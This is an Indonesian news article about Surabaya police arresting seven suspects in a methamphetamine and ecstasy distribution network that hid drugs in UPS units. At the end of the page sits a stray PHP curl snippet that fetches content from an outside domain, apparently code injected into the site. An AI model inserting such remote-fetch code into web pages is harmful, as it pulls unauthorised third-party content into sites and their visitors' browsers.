Satreskoba Polrestabes Berhasil Amankan 7 Tersangka Tersandung Barang Haram

Selasa, 27 Juli 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Teks foto : Sabu 2.5 Kg Gagal Beredar

Jejakkasus.info | Surabaya – Satreskoba Polrestabes Surabaya mengamankan mengamankan 7 orang tersangka mulai pengguna, pengedar, hingga kurir. Bukan hanya itu, sedikitnya barang bukti seberat total 2,3 kilogram sabu diamankan, serbuk ekstasi warna hijau seberat 2,22 gram dan 100 butir pil Riklona ikut disita.

Ungkap kasus ini bermula dari informasi adanya pesta sabu di wilayah Jetis Wetan, Surabaya. Polisi menggerebek salah satu rumah di lokasi tersebut, dan mengamankan tersangka Dwi (49), bekerja sebagai tukang servis AC.

Tangkapan itu lalu dikembangkan hingga diketahui jika sabu tersebut didapat dari tersangka Rudianto (51), warga Jalan Banyu Urip Kidul, Surabaya.

Baca Juga:  Rutan Kelas I Surabaya Temukan 29.78 Gram Poket Shabu

KBO Satresnarkoba Polrestabes Surabaya Iptu Dwi Hartanto mengatakan, setelah anggota mengamankan pemakai sabu dan dikembangkan ditangkaplah tersangka Rudianto di Jalan Kedung Klinter, Surabaya.

“Darinya, anggota mengamankan enam poket sabu seberat 92,86,” jelas Dwi Hartanto, Senin (26/7/2021).

Kepada petugas, tersangka Rudianto mengaku jika bersama temannya Rudy mengedarkan sabu tersebut. Polisi menggerebek Rudy di rumahnya Jalan Wonocolo, dan mengamankan dua tabungan seharga Rp 21 juta.

“Dugaannya, uang di tabungan tersebut hasil penjualan sabu. Karena, setiap selesai menghabiskan sabu mereka mendapat imbalan Rp 2 juta,” tambah Dwi.

Dalam proses pengembangan lain, akhirnya diketahui juga nama Bekti. Hingga akhirnya diketahui Bekti tinggal di sebuah hotel di Jalan Mayjend Sungkono, Surabaya.

Baca Juga:  Peran Mahasiswa UMM Mendorong Kreatifitas Anak di Masa Pandemi

Pada saat diamankan, didapat barang bukti lima poket sabu dengan berat 500 gram dan 100 butir pil Riklona. Tersangka ini langsung menyebut Aldian (22) warga Dukuh Kupang, Surabaya.

“Tersangka Aldian ini sales susu. Ia ditangkap di Batu Safir Putih, Gresik. Dari Aldian ini kemudian diketahui akan ada pengiriman sabu,” tambah Dwi.

Aldian menyebut sebuah kantor ekspedisi di Jalan Citra Raya, Lakasantri. Disana, diketahui ada satu paket atas nama salah satu tersangka yang saat dibuka sebuah UPS berisi empat bungkus sabu seberat satu kilogram.

Polisi akhirnya mengamankan satu tersangka bernama Reza dan menyita 11 UPS yang diduga digunakan untuk pengiriman sabu sebelumnya.

Baca Juga:  Prajurit Remaja Batalyon Kapa 2 Marinir Berlatih Evakuasi Ranpur Kapa K61 Di Air

Reza sendiri merupakan teman kerja Aldian. Mereka mendapat upah Rp 1 juta dalam setiap transaksi. Polisi akhirnya menangkap satu lagi tersangka yang diduga berhubungan langsung dengan bandar yang menjalankan bisnis ini dari balik penjara.

Sementara, diketahui jika jaringan ini sudah 11 kali melakukan pengiriman dari luar pulau menuju Jawa Timur. Bekti bahkan menjanjikan imbalan puluhan juta rupiah pada kurir dibawahnya.

Tersangkanya, Bekti Prihandono (25) warga Jalan Ketintang, Surabaya. Tersangka ditangkap di Dusun Ngambar, Driyorejo, Gresik.

Dari dia, Polisi mengamankan 415 gram sabu serta 2,22 gram serbuk ekstasi.(Budi)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen
Tag :

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>